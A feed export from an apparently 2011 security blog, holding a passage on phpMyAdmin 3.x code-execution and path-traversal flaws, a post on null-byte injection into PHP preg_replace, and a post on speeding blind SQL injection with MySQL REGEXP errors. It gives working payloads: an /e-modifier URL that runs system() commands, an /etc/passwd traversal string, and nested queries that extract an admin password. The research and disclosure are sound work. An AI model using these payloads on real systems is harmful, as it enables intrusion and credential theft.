Lines: 613-631
&lt;code class=&quot;brush:php;first-line:613;&quot;&gt;
function PMA_createTargetTables($src_db, $trg_db, $src_link, $trg_link, &amp;$uncommon_tables, $table_index, &amp;$uncommon_tables_fields, $display)
{
    if (isset($uncommon_tables[$table_index])) {
        $fields_result = PMA_DBI_get_fields($src_db, $uncommon_tables[$table_index], $src_link);
        $fields = array();
        foreach ($fields_result as $each_field) {
            $field_name = $each_field[&#39;Field&#39;];
            $fields[] = $field_name;
        }
        $uncommon_tables_fields[$table_index] = $fields; 
       
        $Create_Query = PMA_DBI_fetch_value(&quot;SHOW CREATE TABLE &quot; . PMA_backquote($src_db) . &#39;.&#39; . PMA_backquote($uncommon_tables[$table_index]), 0, 1, $src_link);

        // Replace the src table name with a `dbname`.`tablename`
        $Create_Table_Query = preg_replace(&#39;/&#39; . PMA_backquote($uncommon_tables[$table_index]) . &#39;/&#39;, 
                                            PMA_backquote($trg_db) . &#39;.&#39; .PMA_backquote($uncommon_tables[$table_index]),
                                            $Create_Query,
                                            $limit = 1
        );
&lt;/code&gt;
The variables $uncommon_tables[$table_index] and $trg_db are derived from the $_SESSION array. By utilizing the first vulnerability we can inject what ever we want into both the first and the second argument of the function preg_replace on lines 627-631. &lt;a href=&quot;http://www.blogger.com/2011/06/null-byte-injection-in-pregreplace.html&quot;&gt;In a previous post to this blog I&#39;ve detailed how this condition can be turned into a remote code execution&lt;/a&gt;. Basicly we can inject the &lt;i&gt;&quot;e&quot;&lt;/i&gt; modifier into the regexp pattern which causes the second argument to be executed as PHP code.&lt;br /&gt;
&lt;br /&gt;
This vulnerability have two major restrictions from an attackers perspective. First the &lt;a href=&quot;http://www.hardened-php.net/suhosin/&quot;&gt;Suhosin&lt;/a&gt; patch that completly defends against this type of attack. Second, this piece of code can only be reached if we&#39;re authenticated. So to exploit it we would need to have previous knowledge of credentials to an account of the database that phpMyAdmin is set up to manage. Except for  some obscure configurations that allows us to bypass this restriction.&lt;br /&gt;
&lt;br /&gt;
Since the Suhosin patch is pretty popular, and for example compiled by default in OpenBSD&#39;s PHP packages, it&#39;s worth exploring a fourth vulnerability.

&lt;h2&gt;The fourth vulnerability&lt;/h2&gt;
Patched in: 3.3.10.2 and 3.4.3.1&lt;br /&gt;
Type: Path Traversal&lt;br /&gt;
Assigned CVE id: &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2508&quot;&gt;CVE-2011-2508&lt;/a&gt;&lt;br /&gt;
PMA Announcement-ID: &lt;a href=&quot;http://www.phpmyadmin.net/home_page/security/PMASA-2011-6.php&quot;&gt;PMASA-2011-8&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
File: libraries/display_tbl.lib.php&lt;br /&gt;
Lines: 1291-1299
&lt;code class=&quot;brush:php;first-line:1291;&quot;&gt;
            if ($GLOBALS[&#39;cfgRelation&#39;][&#39;mimework&#39;] &amp;&amp; $GLOBALS[&#39;cfg&#39;][&#39;BrowseMIME&#39;]) {

                if (isset($GLOBALS[&#39;mime_map&#39;][$meta-&gt;name][&#39;mimetype&#39;]) &amp;&amp; isset($GLOBALS[&#39;mime_map&#39;][$meta-&gt;name][&#39;transformation&#39;]) &amp;&amp; !empty($GLOBALS[&#39;mime_map&#39;][$meta-&gt;name][&#39;transformation&#39;])) {
                    $include_file = $GLOBALS[&#39;mime_map&#39;][$meta-&gt;name][&#39;transformation&#39;];

                    if (file_exists(&#39;./libraries/transformations/&#39; . $include_file)) {
                        $transformfunction_name = str_replace(&#39;.inc.php&#39;, &#39;&#39;, $GLOBALS[&#39;mime_map&#39;][$meta-&gt;name][&#39;transformation&#39;]);

                        require_once &#39;./libraries/transformations/&#39; . $include_file;
&lt;/code&gt;
This fourth vulnerability is a directory traversal in a call to require_once which can be exploited as a local file inclusion. The variable $GLOBALS[&#39;mime_map&#39;][$meta-&amp;gt;name][&#39;transformation&#39;] is derived from user input. For example, by setting $GLOBALS[&#39;mime_map&#39;][$meta-&amp;gt;name][&#39;transformation&#39;] to &quot;../../../../../../etc/passwd&quot; the local passwd-file could show up.&lt;br /&gt;
&lt;br /&gt;
This vulnerability can only be reached if we&#39;re authenticated and requires that the transformation feature is setup correctly in phpMyAdmin&#39;s configuration storage. However, the $GLOBALS[&#39;cfgRelation&#39;] array is derived from the $_SESSION array. Hence the variable $GLOBALS[&#39;cfgRelation&#39;][&#39;mimework&#39;] used to check this can be modified using the first vulnerability.&lt;br /&gt;
&lt;br /&gt;
File: libraries/display_tbl.lib.php&lt;br /&gt;
Lines: 707-710
&lt;code class=&quot;brush:php;first-line:707;&quot;&gt;
    if ($GLOBALS[&#39;cfgRelation&#39;][&#39;commwork&#39;] &amp;&amp; $GLOBALS[&#39;cfgRelation&#39;][&#39;mimework&#39;] &amp;&amp; $GLOBALS[&#39;cfg&#39;][&#39;BrowseMIME&#39;] &amp;&amp; ! $_SESSION[&#39;tmp_user_values&#39;][&#39;hide_transformation&#39;]) {
        require_once &#39;./libraries/transformations.lib.php&#39;;
        $GLOBALS[&#39;mime_map&#39;] = PMA_getMIME($db, $table);
    }
&lt;/code&gt;
And the fact that $GLOBALS[&#39;mime_map&#39;] is conditionally initialized together with the fact that phpMyAdmin registers all request variables in the global namespace (blacklists some, but not mime_map) allows us to set $GLOBALS[&#39;mime_map&#39;][$meta-&amp;gt;name][&#39;transformation&#39;] to whatever we want, even when the transformation feature is not setup correctly.

&lt;h2&gt;Summary&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;If the config folder is left in place, phpMyAdmin is vulnerable.&lt;/li&gt;&lt;br /&gt;
&lt;li&gt;If an attacker has access to database credentials and the Suhosin patch is not installed, phpMyAdmin is vulnerable.&lt;/li&gt;&lt;br /&gt;
&lt;li&gt;If an attacker has access to database credentials and knows how to exploit a local file inclution, phpMyAdmin is vulnerable.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Exploits&lt;/h2&gt;
&lt;br /&gt;
Here are some exploits that have appeard so far, sorted in chronological order.&lt;br /&gt;
&lt;br /&gt;
phpMyAdmin3 (pma3) Remote Code Execution Exploit written in python by wofeiwo exploiting vulnerability 1 and 2.&lt;br /&gt;
&lt;a href=&quot;http://www.exploit-db.com/exploits/17510/&quot;&gt;http://www.exploit-db.com/exploits/17510/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
phpMyAdmin 3.x preg_replace RCE POC written in php by Mango exploiting vulnerability 1 and 3. This isn&#39;t really an exploit, just a POC.&lt;br /&gt;
&lt;a href=&quot;http://ha.xxor.se/2011/07/phpmyadmin-3x-pregreplace-rce-poc.html&quot;&gt;http://ha.xxor.se/2011/07/phpmyadmin-3x-pregreplace-rce-poc.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
phpMyAdmin 3.x Swekey RCI Exploit written in php by Mango exploiting vulnerability 1 and 2.&lt;br /&gt;
&lt;a href=&quot;http://ha.xxor.se/2011/07/phpmyadmin-3x-swekey-rci-exploit.html&quot;&gt;http://ha.xxor.se/2011/07/phpmyadmin-3x-swekey-rci-exploit.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
An extra noteworthy exploit is this one created by M4g exploiting vulnerability 1. He paired the first vulnerability with a rougthly one year old bug in the PHP core. The PHP Session Serializer Session Data Injection Vulnerability found by Stefan Esser.&lt;br /&gt;
&lt;a href=&quot;http://snipper.ru/view/103/phpmyadmin-33102-3431-session-serializer-arbitrary-php-code-execution-exploit/&quot;&gt;http://snipper.ru/view/103/phpmyadmin-33102-3431-session-serializer-arbitrary-php-code-execution-exploit/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://translate.google.se/translate?sl=auto&amp;tl=en&amp;u=http://snipper.ru/view/103/phpmyadmin-33102-3431-session-serializer-arbitrary-php-code-execution-exploit/&quot;&gt;Or for those of us who can&#39;t read Russian, use Google translate.&lt;/a&gt;&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://ha.xxor.se/feeds/5097077669546821767/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ha.xxor.se/2011/07/phpmyadmin-3x-multiple-remote-code.html#comment-form' title='634 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2830206898979206277/posts/default/5097077669546821767'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2830206898979206277/posts/default/5097077669546821767'/><link rel='alternate' type='text/html' href='http://ha.xxor.se/2011/07/phpmyadmin-3x-multiple-remote-code.html' title='phpMyAdmin 3.x Multiple Remote Code Executions'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>634</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2830206898979206277.post-3573794852638039550</id><published>2011-06-29T21:30:00.009+02:00</published><updated>2011-08-09T17:02:04.916+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="php"/><title type='text'>Null Byte Injection in preg_replace()</title><content type='html'>When reviewing some PHP code, I came across a real world example of a strange and undocumented (but it&#39;s been breifly mentiond in &lt;a href=&quot;http://www.php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html#sec22&quot;&gt;MOPS Submission 07&lt;/a&gt;) feature/bug in the function &lt;a href=&quot;http://php.net/manual/en/function.preg-replace.php&quot;&gt;preg_replace&lt;/a&gt;. On certain systems, preg_replace seems to be vulnerable to a null byte injection. If both the first and second argument is derived from user input this could lead to a remote code execution.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;
&lt;br /&gt;
Preg_replace naturally has the ability to evaluate it&#39;s second argument as PHP code if the &lt;i&gt;&quot;e&quot;&lt;/i&gt; modifier is present in the pattern in it&#39;s first argument. But preg_replace is very strict regarding the syntax of supplied patterns. Normally there should be no way to escape from in between the &lt;i&gt;&quot;/&quot;&lt;/i&gt; delimiters and inject the &lt;i&gt;&quot;e&quot;&lt;/i&gt; modifier when the pattern is derived from user input, like in this example.
&lt;code class=&quot;brush:php&quot;&gt;
$pattern     = &#39;/omfglol&#39;.$_GET[&#39;mypattern&#39;].&#39;/i&#39;;
$replacement = $_GET[&#39;replacement&#39;];
$subject     = &#39;omglolomglolnostop&#39;;
echo preg_replace($pattern,$replacement,$subject);
&lt;/code&gt;
If you&#39;ll try to exploit this by injecting &quot;test/e&quot; into the middle of the pattern &quot;/omfgloltest/e/i&quot;. The &quot;/&quot; that is present after &quot;/e&quot; in the pattern is not considered to be a valid modifier and an error will be thrown. &quot;Warning: preg_replace(): Unknown modifier &#39;/&#39;&quot;&lt;br /&gt;
&lt;br /&gt;
Lets have a look in PHP&#39;s source code. The, as of now, Current stable PHP 5.3.6. 
This is line 337 to 374 of ext/pcre/php_pcre.c containing the loop responsible for parsing modifiers in a pattern.
&lt;code class=&quot;brush:cpp;first-line:337;&quot;&gt;
 /* Parse through the options, setting appropriate flags.  Display
    a warning if we encounter an unknown modifier. */ 
 while (*pp != 0) {
  switch (*pp++) {
   /* Perl compatible options */
   case &#39;i&#39;: coptions |= PCRE_CASELESS;  break;
   case &#39;m&#39;: coptions |= PCRE_MULTILINE;  break;
   case &#39;s&#39;: coptions |= PCRE_DOTALL;  break;
   case &#39;x&#39;: coptions |= PCRE_EXTENDED;  break;
   
   /* PCRE specific options */
   case &#39;A&#39;: coptions |= PCRE_ANCHORED;  break;
   case &#39;D&#39;: coptions |= PCRE_DOLLAR_ENDONLY;break;
   case &#39;S&#39;: do_study  = 1;     break;
   case &#39;U&#39;: coptions |= PCRE_UNGREEDY;  break;
   case &#39;X&#39;: coptions |= PCRE_EXTRA;   break;
   case &#39;u&#39;: coptions |= PCRE_UTF8;
 /* In  PCRE,  by  default, \d, \D, \s, \S, \w, and \W recognize only ASCII
       characters, even in UTF-8 mode. However, this can be changed by setting
       the PCRE_UCP option. */
#ifdef PCRE_UCP
      coptions |= PCRE_UCP;
#endif   
    break;

   /* Custom preg options */
   case &#39;e&#39;: poptions |= PREG_REPLACE_EVAL; break;
   
   case &#39; &#39;:
   case &#39;\n&#39;:
    break;

   default:
    php_error_docref(NULL TSRMLS_CC,E_WARNING, &quot;Unknown modifier &#39;%c&#39;&quot;, pp[-1]);
    efree(pattern);
    return NULL;
  }
 }
&lt;/code&gt;
&lt;br /&gt;
On line 339, the while loop loops until it encounters a null byte.
So if &quot;test/e&quot; is followed by a null byte PHP will stop searching for other modifiers beyond that.&lt;br /&gt;
&lt;br /&gt;
To turn the PHP example in the beginning of this post into a remote command shell one would use an url like this: &lt;a href=&quot;#&quot;&gt;http://www.example.com/pregvuln.php?mypattern=||/e&amp;#x25;00&amp;amp;replacement=system($_GET[&#39;cmd&#39;]);&amp;amp;cmd=echo%20testing123&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Note: The double pipes &quot;||&quot; in the pattern &quot;||/e&quot; makes it match anything. The pattern must match something or the code won&#39;t execute.&lt;br /&gt;
&lt;br /&gt;
Edit: My initial tests where distorted by the &lt;a href=&quot;http://www.hardened-php.net/suhosin/index.html&quot;&gt;Suhosin&lt;/a&gt; patch, which also protects the server from this type of attack.&lt;br /&gt;
All PHP versions, as of today, is vulnerable to this attack.

&lt;h2&gt;Solution&lt;/h2&gt;
To defend against this type of attack, just follow best practice. User input should always be escaped using &lt;a href=&quot;http://www.php.net/manual/en/function.preg-quote.php&quot;&gt;preg_quote&lt;/a&gt; before being used in a regexp pattern.&lt;br /&gt;
&lt;br /&gt;
This is a secured version of the example in the beginning of this post.
&lt;code class=&quot;brush:php&quot;&gt;
$pattern     = &#39;/omfglol&#39;.preg_quote($_GET[&#39;mypattern&#39;],&#39;/&#39;).&#39;/i&#39;;
$replacement = $_GET[&#39;replacement&#39;];
$subject     = &#39;omglolomglolnostop&#39;;
echo preg_replace($pattern,$replacement,$subject);
&lt;/code&gt;
Or to defend against this at the server level, install &lt;a href=&quot;http://www.hardened-php.net/suhosin/index.html&quot;&gt;Suhosin&lt;/a&gt;.</content><link rel='replies' type='application/atom+xml' href='http://ha.xxor.se/feeds/3573794852638039550/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ha.xxor.se/2011/06/null-byte-injection-in-pregreplace.html#comment-form' title='46 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2830206898979206277/posts/default/3573794852638039550'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2830206898979206277/posts/default/3573794852638039550'/><link rel='alternate' type='text/html' href='http://ha.xxor.se/2011/06/null-byte-injection-in-pregreplace.html' title='Null Byte Injection in preg_replace()'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>46</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2830206898979206277.post-2200136889686751510</id><published>2011-06-21T00:41:00.011+02:00</published><updated>2011-08-09T17:01:28.612+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="mysql"/><category scheme="http://www.blogger.com/atom/ns#" term="php"/><title type='text'>Speeding up Blind SQL Injections using Conditional Errors in MySQL</title><content type='html'>&lt;b&gt;Please note that this article expects some prior knowledge of blind SQL injections.&lt;/b&gt;&lt;br/&gt;
&lt;br/&gt;
&lt;b&gt;Edit:&lt;/b&gt; &lt;a href=&quot;http://qwazar.ru/?p=26&quot;&gt;If you want to read about this in Russisn, its been published here in 2009.&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;Edit2:&lt;/b&gt; jrm` provided me with a working implementation of this method which he coded using information from this article. His code can be read at the bottom of this article or &lt;a href=&quot;http://ha.xxor.se/uploads/blindsql_v1.4_regexp.php&quot;&gt;downloaded here&lt;/a&gt;.&lt;br /&gt;
&lt;b&gt;Edit3:&lt;/b&gt; jrm` also created python script which can be &lt;a href=&quot;http://www.xxor.se/uploads/blindsql_v1.5.py&quot;&gt;downloaded here&lt;/a&gt;.

&lt;br/&gt;
&lt;br/&gt;
Usually a syntax error in a blind SQL injection will have some sort of visible effect in the output of a web application. So what if we could conditionally generate such an error instead of relying on conditionally delaying and timing a request using functions such as BENCHMARK or SLEEP?&lt;br/&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;
&lt;br/&gt;
There is no documented way of causing MySQL to throw an error based on a condition in a query. However, in both MySQL 4 and 5, there exists an operator named &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.1/en/regexp.html&quot;&gt;REGEXP&lt;/a&gt; (and it&#39;s synonym &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.1/en/regexp.html&quot;&gt;RLIKE&lt;/a&gt;).
This operator is used for pattern matching using regular expressions.

&lt;h2&gt;The Basic Behaviour of REGEXP&lt;/h2&gt;
This is a SQL query that would return &quot;1&quot; since the selected text &quot;foo&quot; matches the simple pattern &quot;bar|foo&quot;.
&lt;code class=&quot;brush:sql&quot;&gt;
SELECT &#39;foo&#39; REGEXP &#39;bar|foo&#39;;
&lt;/code&gt;
&lt;br/&gt;
To simplify the query a number could be selected and a number could be used as a pattern.
&lt;code class=&quot;brush:sql&quot;&gt;SELECT 1 REGEXP 1&lt;/code&gt;
&lt;br/&gt;
But if an incorrect pattern like this empty string is supplied, MySQL will throw an error that reads &lt;i&gt;&quot;Got error &#39;empty (sub)expression&#39; from regexp&quot;&lt;/i&gt;.
&lt;code class=&quot;brush:sql&quot;&gt;SELECT 1 REGEXP &#39;&#39;&lt;/code&gt;

&lt;h2&gt;Example 1&lt;/h2&gt;
Combine the behaviour of REGEXP with MySQL&#39;s IF function and conditional errors can be produced.
This first query will return &quot;1&quot; without any complications while the second one will throw an error.
&lt;code class=&quot;brush:sql&quot;&gt;SELECT 1 REGEXP IF(1=1,1,&#39;&#39;)&lt;/code&gt;
&lt;code class=&quot;brush:sql&quot;&gt;SELECT 1 REGEXP IF(1=2,1,&#39;&#39;)&lt;/code&gt;
The only difference between these querys is that the first one supplied the IF function with a true statement (1=1) while the secound supplied a false statement (1=2).
&lt;br/&gt;
&lt;br/&gt;
Consider that as an alternative to this commonly used method where the first query will return immediately while the second will return after a few seconds delay.
&lt;code class=&quot;brush:sql&quot;&gt;IF(1=1,1,BENCHMARK(1000000,MD5(1)))&lt;/code&gt;
&lt;code class=&quot;brush:sql&quot;&gt;IF(1=2,1,BENCHMARK(1000000,MD5(1)))&lt;/code&gt;
&lt;br/&gt;
A blind SQL injection like the one in this line of PHP could be exploited more then 10 times faster by avoiding the delay.
&lt;code class=&quot;brush:php&quot;&gt;
mysql_query(&quot;update `users` set `token`= &#39;&#39; where `id`=&#39;&quot;.$_GET[&#39;user_id&#39;].&quot;&#39;&quot;) or die(&quot;Database error!&quot;);
&lt;/code&gt;
And to exploit the vulnerable line of PHP to output &lt;i&gt;&quot;Database error!&quot;&lt;/i&gt; if the MySQL version isn&#39;t 5. One would use a query like this one.
&lt;code class=&quot;brush:sql&quot;&gt;SELECT 1 REGEXP IF(SUBSTR(@@version,1,1)=5,0,&#39;&#39;)&lt;/code&gt;
&lt;br/&gt;
And input it to the script like this.&lt;br/&gt;
&lt;code&gt;http://www.example.com/vulnscript.php?user_id=&#39; OR (SELECT 1 REGEXP IF(SUBSTR(@@version,1,1)=5,0,&#39;&#39;)) OR &#39;1&lt;/code&gt;

&lt;h2&gt;Multiple Conditional errors&lt;/h2&gt;
Consider a vulnerable line of PHP like this where instead of a static error message informing us of a database error, we&#39;ll get to see the actual error message thrown by MySQL.
&lt;code class=&quot;brush:php&quot;&gt;
mysql_query(&quot;update `users` set `token`= &#39;&#39; where `id`=&#39;&quot;.$_GET[&#39;user_id&#39;].&quot;&#39;&quot;) or die(mysql_error());
&lt;/code&gt;
&lt;br/&gt;
Now why would this make any difference?&lt;br/&gt;
The REGEXP operator cannot only produce one error message, not two, but 10 different error messages. These different error messages can be triggered by different malformated patterns.&lt;br/&gt;
Here is a list of invalid patterns and there correlating error messages.
&lt;code class=&quot;brush:sql&quot;&gt;SELECT 1 REGEXP &#39;&#39;
Got error &#39;empty (sub)expression&#39; from regexp

SELECT 1 REGEXP &#39;(&#39;
Got error &#39;parentheses not balanced&#39; from regexp

SELECT 1 REGEXP &#39;[&#39;
Got error &#39;brackets ([ ]) not balanced&#39; from regexp

SELECT 1 REGEXP &#39;\\&#39;
Got error &#39;trailing backslash (\)&#39; from regexp

SELECT 1 REGEXP &#39;*&#39;
Got error &#39;repetition-operator operand invalid&#39; from regexp

SELECT 1 REGEXP &#39;a{1,1,1}&#39;
Got error &#39;invalid repetition count(s)&#39; from regexp

SELECT 1 REGEXP &#39;[a-9]&#39;
Got error &#39;invalid character range&#39; from regexp

SELECT 1 REGEXP &#39;a{1,&#39;
Got error &#39;braces not balanced&#39; from regexp

SELECT 1 REGEXP &#39;[[.ab.]]&#39;
Got error &#39;invalid collating element&#39; from regexp

SELECT 1 REGEXP &#39;[[:ab:]]&#39;
Got error &#39;invalid character class&#39; from regexp
&lt;/code&gt;
&lt;br/&gt;
Usually when exploiting a blind SQL injection 8 request would need to be sent to a vulnerable web application to extract one byte of data from it&#39;s database. Since the only value one request can extract is either true or false, one request for each of the 8 bits in a byte is needed.&lt;br /&gt;
By utilizing conditional errors, instead of 2 having distinguishable states, 11 different states can be distinguished. 10 for the different error messages and 1 if no error occurred.&lt;br /&gt;
&lt;br /&gt;
Useing these 11 states, 47% of all the 256 possible values of a byte could be determined in only 2 requests. Another 47% in 3 requests. And the remaining 6% in 4 requests.&lt;br /&gt;
Or if the possible values were narrowed down to only the printable characters (ASCII decimal 32-127). 100% could be determined in 2 requests.&lt;br /&gt;
Or if the possible values were further narrowed down to numerics (0-9), only 1 request for each digit would be needed.

&lt;h2&gt;Example 2&lt;/h2&gt;
As an example lets say that we would want to find out the first letter of the password belonging to a user named admin.&lt;br/&gt;&lt;br/&gt;
Usually we would form a query like this.
&lt;code class=&quot;brush:sql&quot;&gt;SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;&lt;/code&gt;
And use that query as a subquery to ask if the ASCII value of a letter is greater then 128.
&lt;code class=&quot;brush:sql&quot;&gt;IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))&amp;gt;128,1,BENCHMARK(1000000,MD5(1)))&lt;/code&gt;
That query would return immediately if the first letters ASCII value is greater then 128 and delay for a little while if it is 128 or less. And then further requests would keep cutting the range in half until it&#39;s been narrowed down to to a definite value.&lt;br/&gt;
&lt;br/&gt;
To make use of conditional errors 10 questions would be asked in a single query. The first query would look something like this.
&lt;code class=&quot;brush:sql&quot;&gt;SELECT 1 REGEXP
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))&lt;31,&#39;&#39;,
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))&lt;52,&#39;(&#39;,
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))&lt;73,&#39;[&#39;,
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))&lt;94,&#39;\\&#39;,
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))&lt;115,&#39;*&#39;,
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))&lt;136,&#39;a{1,1,1}&#39;,
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))&lt;157,&#39;[a-9]&#39;,
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))&lt;178,&#39;a{1&#39;,
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))&lt;199,&#39;[[.ab.]]&#39;,
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))&lt;230,&#39;[[:ab:]]&#39;,
1))))))))))
&lt;/code&gt;

&lt;br/&gt;
If this query returns an error message that reads &lt;i&gt;&quot;Got error &#39;repetition-operator operand invalid&#39; from regexp&quot;&lt;/i&gt;. Then the decimal ASCII value of the first letter of admin&#39;s password is contained within the 94-114 range.&lt;br /&gt;
&lt;br /&gt;
After that one would send another query making 10 guesses on 10 distinct values.
&lt;code class=&quot;brush:sql&quot;&gt;SELECT 1 REGEXP
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))=94,&#39;&#39;,
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))=95,&#39;(&#39;,
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))=96,&#39;[&#39;,
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))=97,&#39;\\&#39;,
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))=98,&#39;*&#39;,
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))=99,&#39;a{1,1,1}&#39;,
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))=100,&#39;[a-9]&#39;,
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))=101,&#39;a{1&#39;,
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))=102,&#39;[[.ab.]]&#39;,
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))=103,&#39;[[:ab:]]&#39;,
1))))))))))
&lt;/code&gt;
If no error message is returned all of those guesses where wrong. In that case one would send another query containing 10 of the 11 remaining values in the 94-114 range.
&lt;code class=&quot;brush:sql&quot;&gt;SELECT 1 REGEXP
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))=104,&#39;&#39;,
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))=105,&#39;(&#39;,
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))=106,&#39;[&#39;,
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))=107,&#39;\\&#39;,
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))=108,&#39;*&#39;,
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))=109,&#39;a{1,1,1}&#39;,
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))=110,&#39;[a-9]&#39;,
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))=111,&#39;a{1&#39;,
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))=112,&#39;[[.ab.]]&#39;,
IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`=&#39;admin&#39;),1,1))=113,&#39;[[:ab:]]&#39;,
1))))))))))
&lt;/code&gt;
If this query returned the error message &lt;i&gt;&quot;Got error &#39;trailing backslash (\)&#39; from regexp&quot;&lt;/i&gt; the first letter of admin&#39;s password has the ASCII value 107 witch corresponds to a lowercase &lt;i&gt;k&lt;/i&gt;. Or if no error is returned that would mean the first letter has an ASCII value of 114, the only remaining value within the range.&lt;br/&gt;
&lt;br/&gt;
Note: For anyone trying to program a script to automatically send these queries. Remember that values in the first and the last 2 ranges of the first query might require 4 requests while all other ranges requires 2-3 requests.&lt;br/&gt;

&lt;h2&gt;Conclusion&lt;/h2&gt;
This method is particularly useful for its substantial increase in speed and the reduced number of requests needed compared to other commonly used methods.
However, special conditions is required to successfully utilize these improvements. Although nearly all blind SQL injection points differs its output when an error is thrown, not all of them do. Thus whenever this method is used in a universal manner, the method of delaying and timing would still be needed as a fallback.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Related links:&lt;br/&gt;
&lt;a href=&quot;http://dev.mysql.com/doc/refman/5.1/en/regexp.html&quot;&gt;http://dev.mysql.com/doc/refman/5.1/en/regexp.html&lt;/a&gt;&lt;br/&gt;
&lt;a href=&quot;http://websec.wordpress.com/2010/05/07/exploiting-hard-filtered-sql-injections-2-conditional-errors/&quot;&gt;http://websec.wordpress.com/2010/05/07/exploiting-hard-filtered-sql-injections-2-conditional-errors/&lt;/a&gt;&lt;br/&gt;
&lt;a href=&quot;http://qwazar.ru/?p=26&quot;&gt;http://qwazar.ru/?p=26&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://ha.xxor.se/uploads/blindsql_v1.5.py&quot;&gt;&lt;b&gt;blindsql_v1.5.py by jrm`&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://ha.xxor.se/uploads/blindsql_v1.4_regexp.php&quot;&gt;&lt;b&gt;blindsql_v1.4_regexp.php by jrm`&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;
jrm` provided me with this awesome script which implements the error based REGEXP method.&lt;br /&gt;
